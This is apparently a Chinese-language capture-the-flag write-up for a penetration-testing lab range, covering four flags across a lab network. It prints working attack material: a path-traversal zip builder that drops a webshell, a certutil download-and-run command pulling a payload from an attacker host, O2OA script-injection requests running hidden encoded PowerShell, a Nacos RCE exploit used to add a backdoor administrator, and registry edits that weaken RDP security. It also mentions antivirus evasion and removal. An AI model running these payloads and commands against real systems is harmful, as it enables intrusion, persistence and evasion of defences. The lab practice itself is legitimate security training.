cyberstrikelab—Diamond
flag1
信息收集
ip:192.168.10.45
使用goby进行资产扫描,资产如下:
mysql没有弱密码
开放了dcerpc,使用它对主机信息进行探测
E:\safe_tools\信息收集\主机信息收集\Dcerpc来探测主机的信息\Dcerpc_Find_OSInfo>python Dcerpc_Find_OSInfo.py -i 192.168.10.45
[*] 192.168.10.45
[->] OS_Verison : Windows Version 10.0 Build 14393 x64
[->] NetBIOS_domain_name : WIN-K2FGS5IPCUH
[->] DNS_domain_name : WIN-K2FGS5IPCUH
[->] DNS_computer_name : WIN-K2FGS5IPCUH
[->] DNS_tree_name : WIN-K2FGS5IPCUH
对web进行信息搜集
访问后发现是一个jspxcms
路径扫描结果如下,目前没有用到
[200][text/html;charset=UTF-8][1.13kb] http://192.168.10.45:8080/comment
[200][text/html;charset=UTF-8][6.57kb] http://192.168.10.45:8080/sitemap.xml
[200][text/html;charset=UTF-8][5.36kb] http://192.168.10.45:8080/tag
访问http://192.168.10.45:8080/sitemap.xml的时候发现后台登录地址jspXCMS管理平台
漏洞扫描
网上搜集漏洞,发现了后台漏洞,我们不知道密码,注册一个账号
登录后在稿件发布那里有上传点,抓包,发现返回了地址。
直接访问可以访问,但是在我上传webshell后发现没有办法访问,404报错
尝试登录后台,暴力破解密码后发现账号密码admin:cslab
参考文章 - jspxcms历史漏洞分析与复现-JAVA - 先知社区
使用文件解压的方式getshell,前期上传木马原来是被杀了。
参考文件解压引发的Getshell - FreeBuf网络安全行业门户
漏洞利用
使用python脚本生成路径穿越压缩包
import zipfile
zip = zipfile.ZipFile("test111.zip",'w',zipfile.ZIP_DEFLATED)
with open("shell.war","rb") as f:
data=f.read();
zip.writestr("../../../shell.war",data)
zip.close()
zip解压后webshell就会被解压出来,路径在根目录下以压缩包文件名命名的文件下,就可以使用哥斯拉连接了
查看杀软发现有360,上线之前做一下免杀,上线后烂土豆提权
创建后门用户test,开启远程桌面并连接
卸载杀软,拿到第一个flag
user.txt里面获取到一个账户cslab cslab@123#wi
flag2
信息收集
对内网进行扫描,发现内网有两个存活主机(处去本身)
172.17.50.33 win
192.168.10.233 linux
搭建隧道,我使用毒液搭建,
然后对ip进行信息收集,发现oracl数据库等
爆破ssh等无果发现数据库可以连接
搭建后使用mdut连接数据库
漏洞利用
执行命令获取到flag
flag3
在第一台机器上开http服务,使用命令下载转发上线的马子
certutil.exe -urlcache -split -f http://172.17.50.62:1234/3456.exe 3456.exe
成功上线
关闭防护,开启rdp
搭建二级代理
信息收集
使用fscan扫描一下,发现新的ip
10.0.0.56
发现一个oa系统
存在默认弱口令,可以使用账号xadmin/o2进行登录,根据下面的漏洞利用方法拿到flag
漏洞利用
payload:
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("c:\flag.txt").getInputStream()));
var result = [];
while (true) {
var oneline = bufReader.readLine();
result.push(oneline);
if (!oneline) break;
}
var result = { "Result": result };
this.response.setBody(result, "application/json");
测试发现是低权限,无法访问flag.txt
这个命令执行不能访问的话,那就传马
在burp里面发包
PUT /x_program_center/jaxrs/invoke/77263221-528a-4913-ba1b-a1c0adaddf16?v=6.3 HTTP/1.1
Host: 10.0.0.56
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/json,*/*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=utf-8
x-token: PfyuxmzgIzpWEa0AN-F9FCZ1BuhP1TlF50QnO7mEHhA
Authorization: PfyuxmzgIzpWEa0AN-F9FCZ1BuhP1TlF50QnO7mEHhA
Referer: http://10.0.0.56/x_desktop/index.html
Content-Length: 710
Cookie: x-token=PfyuxmzgIzpWEa0AN-F9FCZ1BuhP1TlF50QnO7mEHhA
DNT: 1
Connection: keep-alive
{"id":"77263221-528a-4913-ba1b-a1c0adaddf16","name":"cslab","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc QwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwANQAuAGUAeABlAA==\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n var oneline = bufReader.readLine();\n result.push(oneline);\n if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2025-01-19 12:42:23","updateTime":"2025-01-19 12:53:38"}
运行
POST /x_program_center/jaxrs/invoke/cslab/execute HTTP/1.1
Host: 10.0.0.56
Content-Length: 0
Accept: text/html,application/json,*/*
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN
Authorization: PfyuxmzgIzpWEa0AN-F9FI9VGmBF7vl150QnO7mEHhA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://123.58.236.76:43953
Referer: http://123.58.236.76:43953/x_desktop/index.html
Accept-Encoding: gzip, deflate
Cookie: x-token=PfyuxmzgIzpWEa0AN-F9FJrZ9QfumbmW50QnO7mEHhA
Connection: close
后来看了大佬的文章说cmd执行就可以,我前期各种编码,走了很多弯路
cmd /c C:\\ProgramData\\4.exe C:\\ProgramData\\4.txt
对172.17.50.33提权,提权看的大佬的文章用的cve2017-0213
插件用不了我就上传上去发包执行exp来上线我的马1.exe是提权exp
try {
// 创建BufferedReader对象来读取命令执行的结果
var inputStreamReader = new java.io.InputStreamReader(
java.lang.Runtime.getRuntime().exec("cmd /c C:\\ProgramData\\1.exe \"C:\\ProgramData\\4.exe C:\\ProgramData\\4.txt\"").getInputStream()
);
var bufReader = new java.io.BufferedReader(inputStreamReader);
// 用于存储命令输出结果的数组
var outputLines = [];
// 循环读取每一行输出,直到没有更多行为止
var line;
while ((line = bufReader.readLine()) !== null) {
outputLines.push(line);
}
// 关闭BufferedReader
bufReader.close();
// 构建最终的结果对象
var responseObject = {
"Result": outputLines
};
// 设置响应体为JSON格式
this.response.setBody(responseObject, "application/json");
} catch (e) {
// 捕获并处理异常
var errorResponse = {
"Error": e.message
};
this.response.setBody(errorResponse, "application/json");
}
这一刻等了很久
上线了就准备rdp进去了,然后信息收集,搭建隧道
关闭远程连接的安全验证,不然上不去
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
flag也是拿到了
flag4
信息收集
上传fscan先来扫一下,也是扫到了一个漏洞
http://10.5.0.23:8848存在nacos的漏洞
搭建隧道后访问,成功访问
检测了一下漏洞,发现存在漏洞
漏洞利用
使用exp打,我们把exp传到离他最近的那台机器上,不知道为啥没成。
Wileysec/nacos_derby_rce: Nacos Derby命令执行漏洞利用脚本
那就使用另一个能出网的exp,我们尝试使用cs的马远程下载执行转发上线,命令执行失败
https://github.com/HACK-THE-WORLD/nacos-poc
只能学习大佬的做法加入后门用户了
net user test 1qazcde3!@# /add
net localgroup administrators test /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
执行情况如下
C:\Users\test\AppData\Local\Programs\Python\Python38\nacos-poc-main>python exploit.py
请输入目录URL,默认:http://127.0.0.1:8848:http://10.5.0.23:8848/nacos
请输入命令,默认:calc:net user test 1qazcde3!@# /add
{"code":200,"message":null,"data":""}
{"code":200,"message":null,"data":[{"B":0,"A":"命令成功完成。"}]}
C:\Users\test\AppData\Local\Programs\Python\Python38\nacos-poc-main>python exploit.py
请输入目录URL,默认:http://127.0.0.1:8848:http://10.5.0.23:8848/nacos
请输入命令,默认:calc:net localgroup administrators test /add
{"code":200,"message":null,"data":""}
{"code":200,"message":null,"data":[{"B":0,"A":"命令成功完成。"}]}
C:\Users\test\AppData\Local\Programs\Python\Python38\nacos-poc-main>python exploit.py
请输入目录URL,默认:http://127.0.0.1:8848:http://10.5.0.23:8848/nacos
请输入命令,默认:calc:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
{"code":200,"message":null,"data":""}
{"code":200,"message":null,"data":[{"B":0,"A":"操作成功完成。"}]}
这样就成功创建后门用户test了远程连接就可以了,但是我还是尝试转发上线
原来是命令有点问题,最后也是成功上线了,flag也是拿到了
真是难搞,也算是搞完了
感谢大佬的文章做参考